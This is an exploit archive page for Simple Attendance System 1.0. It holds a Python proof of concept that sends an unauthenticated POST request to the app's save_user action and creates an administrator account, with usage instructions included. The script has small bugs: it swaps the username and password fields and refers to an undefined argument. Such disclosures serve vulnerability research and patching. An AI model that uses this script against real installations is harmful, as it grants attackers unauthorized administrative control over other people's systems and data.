what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Simple Attendance System 1.0 Authentication Bypass

Simple Attendance System 1.0 Authentication Bypass
Posted Sep 27, 2021
Authored by Richard Jones

Simple Attendance System version 1.0 authentication bypass exploit that adds an administrator.

tags | exploit
SHA-256 | e4a056c4bf0781532ad19c5a4655a2089555c71ce7492598d7a21cf841394ff6

Simple Attendance System 1.0 Authentication Bypass

Change Mirror Download
# Exploit Title: Simple Attendance System v1.0 - Unauthenticated Add Admin Account
# Exploit Author: Richard Jones
# Date: September 26, 2021
# Vendor Homepage: https://www.sourcecodester.com/php/14948/simple-attendance-system-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14948&title=Simple+Attendance+System+in+PHP+and+SQLite+Free+Source+Code
# Tested on: Kali Linux, Apache, Mysql
# Vendor: oretnom23
# Version: v1.0
# Exploit Description:
# Simple Attendance System v1.0 v1.0 suffers Unauthenticated Add Administration Account. We can craft a post request to add an admin account to the applicaiton without authentication.


# Usage: python3 attendance_poc.py -u admin1 -p admin1 -url https://localhost/attendance/
# Then login to the app at https://localhost/attendance/login.php to be logged as admin.


import requests
import argparse


def createAccount(args):
try:
data = f'id=&fullname={args.username}&username={args.password}&type=1'
headers = {"Content-Type": "application/x-www-form-urlencoded"}
r = requests.post(url=f"{args.host}Actions.php?a=save_user", data=data, headers=headers)
if r. status_code == 200:
resp = r.text
if "Username already exists." in resp:
print(f"Username \"{args.username}\" taken!\nChange it and try again. ")
if "New User successfully saved." in resp:
print("Created User")
print(f"Username: {args.username}\nPassword: {args.password}")
print(f"\nPlease try to login here: {args.url}login.php")
except:
print("Unknown Error, Check URL and try again.")


def main():
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--username", help="Username to create", required=True)
parser.add_argument("-p", "--password", help="Password for the user account", required=True)
parser.add_argument("-url", "--host", help="Host for the webapp eg: https://localhost/attendance/ << ends with / ", required=True)
args = parser.parse_args()

createAccount(args)



if __name__ == "__main__":
main()
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close